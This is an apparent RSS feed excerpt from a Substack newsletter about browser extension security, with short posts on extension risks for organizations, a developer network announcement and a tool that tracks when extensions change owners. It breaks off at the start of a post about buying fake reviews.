class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" width="1456" height="989" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:989,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Browser extensions are routinely granted extensive permissions, allowing access to users&#8217; browsing information, passwords, cookies, and more, exposing users to risks such as credential theft, account takeover, and data theft. This risk is further compounded in enterprise environments, as exposure of corporate credentials can lead to data breaches that impact the entire organization, its employees, and customers. Many security professionals are not sufficiently aware of this danger and don&#8217;t have the appropriate skills and tools to evaluate their risk and take proper precautions to mitigate it.</p><p>In part 2 of this series, I discuss the risks of browser extensions in corporate environments and what you can do to minimize your risk while still using legitimate extensions. </p><p>Watch the webinar here: https://layerx.easywebinar.live/registration-stopping-malicious-browser-extensions<br><br></p>]]></content:encoded></item><item><title><![CDATA[Let's Talk About Malicious Browser Extensions: Part 1]]></title><description><![CDATA[Unpacking the Browser Extension Threat Model for Organizations]]></description><link>https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Tue, 15 Oct 2024 14:57:19 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" width="1456" height="989" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:989,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:5712449,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Malicious extensions are a real threat, and the risks they present to both individuals and businesses demand a deeper, more comprehensive discussion.</p><p>Over the coming months, I&#8217;ll be publishing essays, recording webcasts, and collaborating with various companies in the extension security space to explore all the ways that browser extensions can cause problems, and all the different strategies you can deploy to harden your browser against this deceptively sneaky attack vector.</p><p>In part 1, I published a guest essay on the Spin.AI blog discussing how organizations can meet the extension threat model head on. Spin.AI is an all-in-one SaaS security platform that protects your SaaS data across multiple environments. </p><p>Read the essay here: <strong><a href="https://spin.ai/blog/unpacking-the-browser-extension-threat-model/?utm_source=linkedin&amp;utm_medium=organicsocial&amp;utm_campaign=mattfrisbie">Unpacking the Browser Extension Threat Model: Mastering the Balance Between User Empowerment and Organizational Securit</a>y</strong><br><br></p><p></p>]]></content:encoded></item><item><title><![CDATA[Introducing the Extension Developer Network]]></title><description><![CDATA[Connecting Companies with Expert Extension Developers]]></description><link>https://mattfrisbie.substack.com/p/introducing-the-extension-developer</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/introducing-the-extension-developer</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Tue, 13 Aug 2024 10:01:39 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!msrp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!msrp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!msrp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!msrp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!msrp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!msrp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!msrp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp" width="1456" height="832" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:832,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:520272,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!msrp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!msrp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!msrp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!msrp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2b70c0c-0739-4f81-9733-9cf77ab7f185_1792x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As the author of <a href="https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X">Building Browser Extensions</a>, I receive lots of inbound interest from companies seeking to outsource extension development or searching for expert consultation on their extension projects. The demand far outstrips my bandwidth, so I started trying to find developers to match with these projects. </p><p>The response was <em>overwhelming</em>, so I&#8217;m announcing the <strong>Extension Developer Network (EDN)</strong>. The EDN is a carefully curated directory of vetted extension developers, designed to connect companies with the right talent for their projects. </p><p>The EDN is growing rapidly and is already connecting companies to developer talent. </p><ul><li><p>If you&#8217;re an extension developer looking to connect with exciting projects, <a href="mailto:matt@classvsoftware.com">schedule an interview</a> to become part of the EDN.</p></li><li><p>If your company is seeking extension developer talent, <a href="mailto:matt@classvsoftware.com">reach out</a> to be connected to an EDN developer.</p></li></ul><p><strong>Contact email: <a href="mailto:matt@classvsoftware.com">matt@classvsoftware.com</a></strong></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Tracking Browser Extension Ownership]]></title><description><![CDATA[Addressing a dire and pernicious problem in the extension ecosystem]]></description><link>https://mattfrisbie.substack.com/p/tracking-browser-extension-ownership</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/tracking-browser-extension-ownership</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Fri, 08 Mar 2024 15:20:34 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!7JIp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7JIp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7JIp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7JIp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp" width="416" height="416" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:416,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;A scene depicting a shadowy exchange between two hands in a dimly lit environment, reminiscent of an underground deal. The focus of the image is a digital, transparent box, representing a Google Chrome extension, being passed from one hand to another. This box glows faintly, illuminating parts of the hands and adding a mysterious aura to the exchange. The atmosphere should be tense and secretive, with minimal lighting to highlight the transaction's dubious nature. Surrounding elements should be vague and indistinct, emphasizing the focus on the Chrome extension transfer, and suggesting a tech noir theme.&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="A scene depicting a shadowy exchange between two hands in a dimly lit environment, reminiscent of an underground deal. The focus of the image is a digital, transparent box, representing a Google Chrome extension, being passed from one hand to another. This box glows faintly, illuminating parts of the hands and adding a mysterious aura to the exchange. The atmosphere should be tense and secretive, with minimal lighting to highlight the transaction's dubious nature. Surrounding elements should be vague and indistinct, emphasizing the focus on the Chrome extension transfer, and suggesting a tech noir theme." title="A scene depicting a shadowy exchange between two hands in a dimly lit environment, reminiscent of an underground deal. The focus of the image is a digital, transparent box, representing a Google Chrome extension, being passed from one hand to another. This box glows faintly, illuminating parts of the hands and adding a mysterious aura to the exchange. The atmosphere should be tense and secretive, with minimal lighting to highlight the transaction's dubious nature. Surrounding elements should be vague and indistinct, emphasizing the focus on the Chrome extension transfer, and suggesting a tech noir theme." srcset="https://substackcdn.com/image/fetch/$s_!7JIp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!7JIp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12ae53b0-e678-495e-ab51-3fe0db97cfb7_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Browser extensions are often dismissed as gimmicks or frills because the ecosystem is highly diverse: <a href="https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm">UBlock Origin</a> can be installed alongside <a href="https://chromewebstore.google.com/detail/music-of-minecraft/piidlenoacbeeecjfdkjcgcienfgnkjn">Music of Minecraft</a>. Yet dismiss browser extensions at your own peril, as they are some of the most important tools for guarding privacy and enhancing security.</p><p>A perfect analogy for how extensions fit into the open web is driving a car:</p><ul><li><p><strong>Roads are the internet. </strong>Everyone uses the roads to move around, but without any rules or protections, it would be chaos.</p></li><li><p><strong>Traffic signals, signs, speed limits, and police are the web browsers</strong>. These enforce rules for how the roads must work, and they exist to protect <em>everyone</em> on the road.</p></li><li><p><strong>Seatbelts, mirrors, backup cameras, and collision warnings are the browser extensions.</strong> These are in your own car, and they exist to protect <em>you</em>.</p></li></ul><p>With this perspective, it becomes imperative to protect the integrity of the extension ecosystem.</p><h2>Addressing Browser&nbsp;Extension Transfers</h2><p>Extension developers are <a href="https://github.com/extesy/hoverzoom/discussions/670">constantly getting offers to buy their extensions</a>. In nearly every case, the people buying these extensions want to rip off the existing users.</p><p>When an extension is purchased and transferred, existing users are unaware that any of this has happened. The new owner is free to push updates, and the users&#8217; browsers will happily accept and install these updates.</p><p>To address this problem, I built <a href="https://github.com/classvsoftware/under-new-management">Under New Management</a>, an extension that tracks when your installed extensions have changed owners.</p><p>The response was incredible!</p><ul><li><p><a href="https://news.ycombinator.com/item?id=39620060">Under New Management made it to the top of Hacker News</a></p></li><li><p><a href="https://tldrsec.com/p/tldr-sec-221">Under New Management featured in the tl;dr sec newsletter</a></p></li><li><p><em><a href="https://www.theregister.com/2024/03/07/chrome_extension_changes/">The Register</a></em><a href="https://www.theregister.com/2024/03/07/chrome_extension_changes/"> wrote an article about Under New Management</a></p></li></ul><h2>Next Steps</h2><p>I&#8217;ve <a href="https://github.com/w3c/webextensions/issues/558#issuecomment-1984719588">recommended an API change</a> to the Web Extensions Community Group (WECG) to directly address this issue, and I&#8217;ve looped in the Chrome Extensions team. I&#8217;m pleased to say that they are taking this very seriously.</p><p>Make sure to leave a comment on the WECG GitHub issue!</p>]]></content:encoded></item><item><title><![CDATA[Let's buy some fake reviews for a pointless Chrome extension]]></title><description><![CDATA[Braving the depths of the "Extension Spam Lagoon"]]></description><link>https://mattfrisbie.substack.com/p/lets-buy-some-fake-chrome-extension</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/lets-buy-some-fake-chrome-extension</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Mon, 04 Mar 2024 14:09:13 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!UU8a!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UU8a!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 